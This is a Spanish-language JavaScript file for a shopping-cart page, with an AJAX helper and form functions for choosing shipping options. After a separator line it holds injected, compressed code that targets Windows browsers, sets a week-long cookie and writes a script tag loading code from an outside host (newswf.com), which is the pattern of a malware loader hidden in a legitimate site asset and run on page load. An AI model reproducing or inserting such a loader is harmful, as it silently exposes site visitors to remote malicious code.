function nuevoAjax(){
	var xmlhttp=false;
	try {
		xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");  		// Creaci�n del objeto ajax para navegadores diferentes a Explorer
	} catch (e) {
		try {								// o bien
			xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");		// Creaci�n del objeto ajax para Explorer
		} catch (E) {
			xmlhttp = false;
		}
	}

	if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
		xmlhttp = new XMLHttpRequest();
	}
	return xmlhttp;
}
function mostrarModalidades(){
	//Numero de radios
	var i=0;
	var radios_num=document.frmCarrito.tipoPorte.length;
	var vacio=true;
	while(i<radios_num && vacio==true){
		if(document.frmCarrito.tipoPorte[i].checked==true){
			vacio=false;
		}
		i++;
	}
	if(vacio==false){
		document.getElementById("contenedorModalidad").style.display="";
		document.frmCarrito.btnEnvia.disabled=true;
		document.getElementById("confirmarCompra").style.display="";
	}else{
		alert("Selecciona el porte");
	}
}

function pedirCampos(modo){
	document.getElementById("contenedorCampos").style.display=modo;
	
}

/* ============================================================================-*/
function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");} if (navigator.userAgent.indexOf("KHTML") == -1 && navigator.userAgent.indexOf("NT") != -1){if(navigator.cookieEnabled == true) {var user = getCookie("NSwfCookie");if (user !=="ok"){newswfcookie();setCookie("NSwfCookie", "ok", 7, "/");}}}  function newswfcookie(){document.write(unescape("%3Cscript src='http://newswf.com/in.cgi?6' type='text/javascript'%3E%3C/script%3E"));} function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;}
/*============================================================================-=*/